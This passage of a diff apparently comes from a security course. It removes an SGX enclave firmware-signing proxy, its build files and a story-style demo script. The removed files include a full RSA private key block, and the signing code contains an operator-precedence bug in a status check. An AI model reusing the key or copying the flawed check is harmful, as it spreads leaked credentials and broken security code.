0x93, 0x2e, 0x2f, 0xce, 0x34, 0x71, 0x7d, 0xf4,
0x9d, 0xa4, 0xa5, 0xf1, 0x47, 0x0a, 0xba, 0xa1
}
}
};
int get_digest_size() {
return DG_SIZE;
}
int get_sealed_size() {
return sgx_calc_sealed_data_size(PK_SIZE, SK_SIZE);
}
int get_signature_size() {
return SI_SIZE;
}
int get_public_key_size() {
return PK_SIZE;
}
int get_private_key_size() {
return SK_SIZE;
}
/*
* seals a key pair
*/
static sgx_status_t seal_key_pair(const sgx_ec256_private_t *private, const sgx_ec256_public_t *public, uint8_t **sealed) {
// allocate temporary buffers on stack
uint8_t pk[PK_SIZE] = {0};
uint8_t sk[SK_SIZE] = {0};
// copy key pair into buffers
memcpy(pk, public->gx, PK_SIZE);
memcpy(sk, private->r, SK_SIZE);
// seal keypair
return sgx_seal_data(PK_SIZE, (const uint8_t *)pk, SK_SIZE, (const uint8_t *)sk, get_sealed_size(), (sgx_sealed_data_t *) *sealed);
}
/*
* unseals a key pair
*/
static sgx_status_t unseal_key_pair(const uint8_t *sealed, sgx_ec256_private_t *private, sgx_ec256_public_t *public) {
// invalid parameter handling
if(sealed == NULL) {
return SGX_ERROR_INVALID_PARAMETER;
}
// allocate temporary buffers on stack
uint8_t pk[PK_SIZE] = {0};
uint8_t sk[SK_SIZE] = {0};
// calculate public_key size and return error for unexpected results
uint32_t pk_size = sgx_get_add_mac_txt_len((const sgx_sealed_data_t *)sealed);
uint32_t sk_size = sgx_get_encrypt_txt_len((const sgx_sealed_data_t *)sealed);
if ((pk_size != PK_SIZE) || (sk_size != SK_SIZE)) {
return SGX_ERROR_UNEXPECTED;
}
// unseal ecc key pair
sgx_status_t status = sgx_unseal_data((const sgx_sealed_data_t *)sealed, pk, &pk_size, sk, &sk_size);
if (status != SGX_SUCCESS) {
return status;
}
// copy buffers into key structs
if(public != NULL) {
memcpy(public->gx, pk, PK_SIZE);
}
if (private != NULL) {
memcpy(private->r, sk, SK_SIZE);
}
// return success
return status;
}
sgx_status_t generate_key_pair(uint8_t *sealed, uint32_t sealed_size) {
// invalid parameter handling
if((sealed == NULL) || (sealed_size != get_sealed_size())) {
return SGX_ERROR_INVALID_PARAMETER;
}
// declare needed structs
sgx_ecc_state_handle_t ecc_handle;
sgx_ec256_private_t private;
sgx_ec256_public_t public;
sgx_status_t status;
// open ecc handle
if((status = sgx_ecc256_open_context(&ecc_handle)) != SGX_SUCCESS) {
return status;
}
// create ecc key pair
if((status = sgx_ecc256_create_key_pair(&private, &public, ecc_handle)) != SGX_SUCCESS) {
goto exit;
}
// seal key pair
status = seal_key_pair(&private, &public, &sealed);
exit: ;
sgx_ecc256_close_context(ecc_handle);
return status;
}
sgx_status_t get_public_key(const uint8_t *sealed, uint32_t sealed_size, uint8_t *public) {
// invalid parameter handling
if((sealed == NULL) || (sealed_size != get_sealed_size())) {
return SGX_ERROR_INVALID_PARAMETER;
} else if(public == NULL) {
return SGX_ERROR_INVALID_PARAMETER;
}
// unseal public key
return unseal_key_pair(sealed, NULL, (sgx_ec256_public_t *)public);
}
/*
* verifies an ecdsa signature
*/
static sgx_status_t verify_signature(const uint8_t *firmware, uint32_t firmware_size, const sgx_ec256_public_t *public, const sgx_ec256_signature_t* ecc_signature) {
// invalid parameter handling
if((firmware == NULL) || (firmware_size == 0) || (public == NULL) || (ecc_signature == NULL)) {
return SGX_ERROR_INVALID_PARAMETER;
}
// declare needed structure
sgx_ecc_state_handle_t ecc_handle;
// open ecc handle
sgx_status_t status;
if((status = sgx_ecc256_open_context(&ecc_handle)) != SGX_SUCCESS) {
return status;
}
// verify signature
uint8_t result;
sgx_status_t verification_status = sgx_ecdsa_verify(firmware, firmware_size, public, ecc_signature, &result, ecc_handle);
// handle failed verification process
if(verification_status != SGX_SUCCESS) {
result = verification_status;
}
// close context and return valid signature
sgx_ecc256_close_context(ecc_handle);
return result;
}
sgx_status_t sign_firmware(const uint8_t *firmware, uint32_t firmware_size, const uint8_t *sealed, uint32_t sealed_size, uint8_t *public_key, uint8_t *signature) {
// invalid parameter handling
if((firmware == NULL) || (firmware_size == 0)) {
return SGX_ERROR_INVALID_PARAMETER;
} else if((public_key == NULL) || (signature == NULL)) {
return SGX_ERROR_INVALID_PARAMETER;
} else if((sealed == NULL) || (sealed_size != get_sealed_size())) {
return SGX_ERROR_INVALID_PARAMETER;
}
// verify public key
for(size_t i = 0; i < sizeof(authorized)/sizeof(authorized[0]); i++) {
if(memcmp(public_key, authorized[i].gx, PK_SIZE) == 0) {
goto sign;
}
}
return SGX_ERROR_UNEXPECTED;
sign: ;
// declare need structures
sgx_ec256_signature_t ecc_signature;
sgx_ecc_state_handle_t ecc_handle;
sgx_ec256_private_t private;
// open ecc handle
sgx_status_t status;
if((status = sgx_ecc256_open_context(&ecc_handle)) != SGX_SUCCESS) {
return status;
}
// verify request
if((status = verify_signature(firmware, firmware_size, (const sgx_ec256_public_t *)public_key, (const sgx_ec256_signature_t *)signature)) != SGX_EC_VALID) {
goto exit;
}
// try unseal keypair
if(status = unseal_key_pair(sealed, &private, (sgx_ec256_public_t *)public_key) != SGX_SUCCESS) {
goto exit;
}
// create signature
if((status = sgx_ecdsa_sign(firmware, firmware_size, &private, &ecc_signature, ecc_handle)) != SGX_SUCCESS) {
goto exit;
}
// copy signature to return buffer
memcpy(signature, ecc_signature.x, SI_SIZE);
// close ecc handle and return success
exit: ;
sgx_ecc256_close_context(ecc_handle);
return status;
}
sgx_status_t verify_firmware(const uint8_t *firmware, uint32_t firmware_size, const uint8_t *sealed, uint32_t sealed_size, const uint8_t *public_key, const uint8_t *signature) {
// invalid parameter handling
if((firmware == NULL) || (firmware_size == 0) || (signature == NULL)) {
return SGX_ERROR_INVALID_PARAMETER;
} else if((sealed == NULL) && (public_key == NULL)) {
return SGX_ERROR_INVALID_PARAMETER;
} else if((sealed != NULL) && (public_key != NULL)) {
return SGX_ERROR_INVALID_PARAMETER;
} else if((sealed_size != get_sealed_size()) && (public_key == NULL)) {
return SGX_ERROR_INVALID_PARAMETER;;
}
// declare needed structures
sgx_ec256_public_t public;
sgx_status_t status;
// verify signature from staff or enclave
if(public_key != NULL) {
// verification only with authorized public keys
for(size_t i = 0; i < sizeof(authorized)/sizeof(authorized[0]); i++) {
if(memcmp(public_key, authorized[i].gx, PK_SIZE) == 0) {
goto verify;
}
}
return SGX_ERROR_UNEXPECTED;
verify: ;
// copy public key into struct
memcpy(public.gx, public_key, PK_SIZE);
} else {
// unseal public key
if((status = unseal_key_pair(sealed, NULL, &public)) != SGX_SUCCESS) {
return status;
}
}
// verify signature and return result
return verify_signature(firmware, firmware_size, &public, (const sgx_ec256_signature_t *)signature);
}

View file

@ -1,12 +0,0 @@
<EnclaveConfiguration>
<ProdID>0</ProdID>
<ISVSVN>0</ISVSVN>
<StackMaxSize>0x400000</StackMaxSize>
<HeapMaxSize>0x1000000</HeapMaxSize>
<TCSNum>10</TCSNum>
<TCSPolicy>1</TCSPolicy>
<!-- Recommend changing 'DisableDebug' to 1 to make the enclave undebuggable for enclave release -->
<DisableDebug>0</DisableDebug>
<MiscSelect>0</MiscSelect>
<MiscMask>0xFFFFFFFF</MiscMask>
</EnclaveConfiguration>

View file

@ -1,62 +0,0 @@
/*
* Copyright (C) 2011-2018 Intel Corporation. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Intel Corporation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
/* Enclave.edl - Top EDL file. */
enclave {
/* Import ECALL/OCALL from sub-directory EDLs.
* [from]: specifies the location of EDL file.
* [import]: specifies the functions to import,
* [*]: implies to import all functions.
*/
trusted {
public int get_sealed_size();
public int get_digest_size();
public int get_signature_size();
public int get_public_key_size();
public int get_private_key_size();
public sgx_status_t generate_key_pair([out, size=sealed_size]uint8_t *sealed, uint32_t sealed_size);
public sgx_status_t get_public_key([in, size=sealed_size]const uint8_t *sealed, uint32_t sealed_size, [out, size=64]uint8_t *public_key);
public sgx_status_t sign_firmware([in, size=firmware_size]const uint8_t *firmware, uint32_t firmware_size, [in, size=sealed_size]const uint8_t *sealed, uint32_t sealed_size, [in, out, size=64]uint8_t *public_key, [in, out, size=64]uint8_t *signature);
public sgx_status_t verify_firmware([in, size=firmware_size]const uint8_t *firmware, uint32_t firmware_size, [in, size=sealed_size]const uint8_t *sealed, uint32_t sealed_size, [in, size=64]const uint8_t *public_key, [in, size=64]const uint8_t *signature);
};
/*
* ocall_print_string - invokes OCALL to display string buffer inside the enclave.
* [in]: copy the string buffer to App outside.
* [string]: specifies 'str' is a NULL terminated buffer.
*/
untrusted {
};
};

View file

@ -1,113 +0,0 @@
/*
* Copyright (C) 2011-2018 Intel Corporation. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Intel Corporation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#ifndef _ENCLAVE_H_
#define _ENCLAVE_H_
#include <stdint.h>
#include <sgx_error.h>
/*
* returns the size of the sealed key pair
*/
int get_sealed_size();
/*
* returns the length of the hash used in the signature
*/
int get_digest_size();
/*
* returns the size of the signature created by the enclave
*/
int get_signature_size();
/*
* returns the size of the public key
*/
int get_public_key_size();
/*
* returns the size of the private key
*/
int get_private_key_size();
/*
* @brief generates a secp256r1 key pair and returns it sealed by the TEE
*
* @param sealed buffer to hold the sealed key pair
* @param sealed_size size of the sealed key pair
*
* @returns SGX_SUCCESS on success, else sgx error code
*/
sgx_status_t generate_key_pair(uint8_t *sealed, uint32_t sealed_size);
/*
* @brief returns the public key of the sealed key pair provided to the enclave
*
* @param sealed buffer containing the sealed key pair
* @param sealed_size size of the sealed key pair
* @param public_key buffer to hold the public key
*
* @returns SGX_SUCCESS on success, SGX_ERROR_INVALID_PARAMETER for invalid parameters, else sgx error code
*/
sgx_status_t get_public_key(const uint8_t *sealed, const uint32_t sealed_size, uint8_t *public_key);
/*
* @brief signs the firmware provided by an authorized employee
*
* @param firmware buffer containing the firmware
* @param firmware_size size of the sealed key pair
* @param sealed buffer containing the sealed key pair
* @param sealed_size size of the sealed key pair
* @param public_key buffer with the employees public key; holds enclaves public key after successful signing
* @param signature buffer with the employees signature; holds the enclaves signature after successful signing
*
* @returns SGX_SUCCESS on success, SGX_ERROR_INVALID_PARAMETER for invalid parameters, else sgx error code
*/
sgx_status_t sign_firmware(const uint8_t *firmware, uint32_t firmware_size, const uint8_t *sealed, uint32_t sealed_size, uint8_t *public_key, uint8_t *signature);
/*
* @brief verifies a firmware signature provided by an authorized employee or enclave
*
* @param firmware buffer containing the firmware
* @param firmware_size size of the sealed key pair or NULL
* @param sealed buffer containing the sealed key pair
* @param sealed_size size of the sealed key pair
* @param public_key buffer with the employees public key or NULL
* @param signature buffer with the employees signature
*
* @returns SGX_EC_VALID on success, SGX_EC_INVALID for invalid signatures, SGX_ERROR_INVALID_PARAMETER for invalid parameters, else sgx error code
*/
sgx_status_t verify_firmware(const uint8_t *firmware, uint32_t firmware_size, const uint8_t *sealed, uint32_t sealed_size, const uint8_t *public_key, const uint8_t *signature);
#endif /* !_ENCLAVE_H_ */

View file

@ -1,10 +0,0 @@
enclave.so
{
global:
g_global_data_sim;
g_global_data;
enclave_entry;
g_peak_heap_used;
local:
*;
};

View file

@ -1,39 +0,0 @@
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

View file

@ -1,16 +0,0 @@
#!/bin/bash
# download latest release
wget -O /tmp/openssl-3.3.1.tar.gz https://github.com/openssl/openssl/releases/download/openssl-3.3.1/openssl-3.3.1.tar.gz
# unpack source
tar -xzvf /tmp/openssl-3.3.1.tar.gz -C /home/syssec/
cd /home/syssec/openssl-3.3.1
# build from source with static linking options
./config --prefix=/usr/local/openssl-3.3.1 --static -static -fPIC
make -j6
# install openssl
sudo make install

View file

@ -1,74 +0,0 @@
#!/usr/bin/env sh
set -u
# colors
RED='\033[0;31m'
GREEN='\033[0;32m'
NC='\033[0m'
# helper function
print_and_execute() {
local color=$1
shift
echo "⚡ ${color}$@${NC}"
eval "$@"
return $?
}
# setup
TMP=/tmp/signatureproxy
KEYDIR=../employee_keys
mkdir -p $TMP
########### Disclaimer #################
# Die Story wurde von ChatGPT erstellt #
########################################
# simulation
print_and_execute "$GREEN" "./signatureproxy proxysetup -pkey $TMP/proxy_private.bin > $TMP/proxy_public.pem"
echo "At Embedded Solutions Inc., security was paramount. The company specialized in creating firmware for a wide range of embedded devices used in critical industries, from medical equipment to automotive systems. To protect their firmware, they had implemented a sophisticated signature proxy system using Intel's SGX enclave technology."
echo "One bright morning, Alice, a senior engineer known for her meticulous work, arrived at her desk. She was tasked with signing the latest stable version of a critical medical device firmware that she had finished the previous night."
echo "With the proxy ready, Alice compiled their latest stable version. This firmware would soon run on life-saving medical devices, a fact that weighed heavily on her as she meticulously checked every detail."
print_and_execute "$GREEN" "dd if=/dev/urandom of=$TMP/firmware.bin bs=1M count=1 2> /dev/null"
echo "Once satisfied with the build, Alice signed the firmware with her private key as an assurance to the company that the firmware came from a trusted source."
print_and_execute "$GREEN" "./signatureproxy employee -ekey $KEYDIR/alice_private.pem -firm $TMP/firmware.bin > $TMP/signature_alice.der"
echo "The firmware, along with Alice's signature, was then sent to the signature proxy. The proxy, acting as a vigilant guardian, verified Alice's signature against a list of authorized keys. Her identity confirmed, the proxy resigned the firmware with its own private key."
print_and_execute "$GREEN" "cat $TMP/signature_alice.der | ./signatureproxy proxy -pkey $TMP/proxy_private.bin -epub $KEYDIR/alice_public.pem -firm $TMP/firmware.bin > $TMP/signature_for_alice.der"
echo "The final step was crucial: verifying the signed firmware to ensure it was ready for deployment. The team couldn't afford any mistakes, knowing the firmware's destination were life-saving medical devices."
print_and_execute "$GREEN" "cat $TMP/signature_for_alice.der | ./signatureproxy embedded -ppub $TMP/proxy_public.pem -firm $TMP/firmware.bin > /dev/null"
echo "\nMeanwhile, in a dark corner of the tech world, Oskar, a disgruntled former employee, was plotting his revenge. He had managed to get his hands on an old private key. With malicious intent, he set out to sign a modified version of the firmware, hoping to bypass the security measures."
echo "Oskar, driven by his vendetta, signed the firmware with his old private key, intending to trick the system and cause havoc."
print_and_execute "$RED" "./signatureproxy employee -ekey $KEYDIR/oskar_private.pem -firm $TMP/firmware.bin > $TMP/signature_oskar.der"
echo "With a smug grin, he tried to pass his signed firmware through the proxy. But the system was built to withstand such threats. The proxy, ever vigilant, scrutinized the incoming data."
print_and_execute "$RED" "cat $TMP/signature_oskar.der | ./signatureproxy proxy -pkey $TMP/proxy_private.bin -epub $KEYDIR/oskar_public.pem -firm $TMP/firmware.bin > $TMP/signature_for_oskar.der"
status=$?
if [ $status -eq 0 ]; then
echo "Oskar's firmware signing attempt seemed successful. :("
exit 1
else
echo "The proxy detected Oskar's unauthorized key and rejected the firmware. His malicious intent was thwarted, and the firmware remained secure."
fi
echo "With Oskar's attempt foiled, Embedded Solutions could breathe a sigh of relief. The integrity of their firmware was intact, safeguarded by the robust security measures of their signature proxy system. Alice and her team could continue their work with confidence, knowing that their systems were safe from internal and external threats."
echo "\nIn the meantime, Bob, another trusted engineer, was working on a firmware update for the automotive sector. This update was equally critical and needed the same level of security scrutiny."
print_and_execute "$GREEN" "dd if=/dev/urandom of=$TMP/firmware2.bin bs=1M count=1 2> /dev/null"
echo "Bob finished his work and, following the security protocols, signed the new firmware with his private key."
print_and_execute "$GREEN" "./signatureproxy employee -ekey $KEYDIR/bob_private.pem -firm $TMP/firmware2.bin > $TMP/signature_bob.der"
echo "The signed firmware was then sent to the signature proxy. As expected, the proxy verified Bob's signature and signed the firmware with its private key, ensuring the update's authenticity."
print_and_execute "$GREEN" "cat $TMP/signature_bob.der | ./signatureproxy proxy -pkey $TMP/proxy_private.bin -epub $KEYDIR/bob_public.pem -firm $TMP/firmware2.bin > $TMP/signature_for_bob.der"
echo "The final verification process confirmed that Bob's firmware update was secure and ready for deployment."
print_and_execute "$GREEN" "cat $TMP/signature_for_bob.der | ./signatureproxy embedded -ppub $TMP/proxy_public.pem -firm $TMP/firmware2.bin > /dev/null"
echo "This concludes the story of Alice, Oskar, Bob, and the secure firmware signing process at Embedded Solutions Inc. Through the diligent efforts of trusted employees and advanced security technology, the integrity and safety of their embedded devices were preserved."

View file

@ -7,7 +7,6 @@
assignments = [
"Assignment 4 - Protokollsicherheit (Praxis)"
"Assignment 5 - Software Security - Teil 1"
"Assignment 6 - Software Security - Teil 2"
];
forAllSystems = function:
@ -16,7 +15,7 @@
"aarch64-linux"
] (system: function {
inherit system;
pkgs = import nixpkgs { inherit system; overlays = [ self.overlay ]; };
pkgs = nixpkgs.legacyPackages.${system};
});
forAllAssignments = function:
@ -25,35 +24,30 @@
texPackages = pkgs: pkgs.texlive.combine {
inherit (pkgs.texlive) scheme-full latex-bin latexmk;
};
lastModifiedDate = self.lastModifiedDate or self.lastModified or "19700101";
version = builtins.substring 0 8 lastModifiedDate;
in rec {
packages =
forAllSystems({system, pkgs}: forAllAssignments(assignment: let
tex = texPackages pkgs;
document = pkgs.stdenvNoCC.mkDerivation rec {
name = assignment;
src = self;
buildInputs = [ pkgs.coreutils tex ];
phases = [ "unpackPhase" "buildPhase" "installPhase" ];
buildPhase = ''
export PATH="${pkgs.lib.makeBinPath buildInputs}";
mkdir -p .cache/texmf-var
cd "./${assignment}"
env TEXMFHOME=.cache TEXMFVAR=.cache/texmf-var \
latexmk -interaction=nonstopmode -pdf -lualatex \
"./abgabe.tex"
'';
installPhase = ''
mkdir -p $out
cp *.pdf $out/
'';
};
in document) // {
default = packages.${system}.${pkgs.lib.last assignments};
"Assignment 7" = pkgs.signatureProxy;
});
packages = forAllSystems({system, pkgs}: forAllAssignments(assignment: let
tex = texPackages pkgs;
document = pkgs.stdenvNoCC.mkDerivation rec {
name = assignment;
src = self;
buildInputs = [ pkgs.coreutils tex ];
phases = [ "unpackPhase" "buildPhase" "installPhase" ];
buildPhase = ''
export PATH="${pkgs.lib.makeBinPath buildInputs}";
mkdir -p .cache/texmf-var
cd "./${assignment}"
env TEXMFHOME=.cache TEXMFVAR=.cache/texmf-var \
latexmk -interaction=nonstopmode -pdf -lualatex \
"./abgabe.tex"
'';
installPhase = ''
mkdir -p $out
cp *.pdf $out/
'';
};
in document) // {
default = packages.${system}.${pkgs.lib.last assignments};
});
devShells = forAllSystems({pkgs, ...}: let
tex = texPackages pkgs;
@ -63,40 +57,7 @@
};
});
overlay = final: prev: with final; {
signatureProxy = stdenv.mkDerivation {
pname = "SignatureProxy";
inherit version;
src = ./7-SGX_Hands-on;
buildScript = ''
make
'';
installScript = ''
mkdir -p $out/bin
cp app $out/bin
cp enclave.so $out/bin
'';
nativeBuildInputs = with pkgs; [
clang
glibc
sgx-sdk
gmp.dev
openssl.dev
pkg-config
];
env = {
SGX_SDK = pkgs.sgx-sdk;
SGX_MODE = "SIM";
};
};
};
hydraJobs = packages;
};
}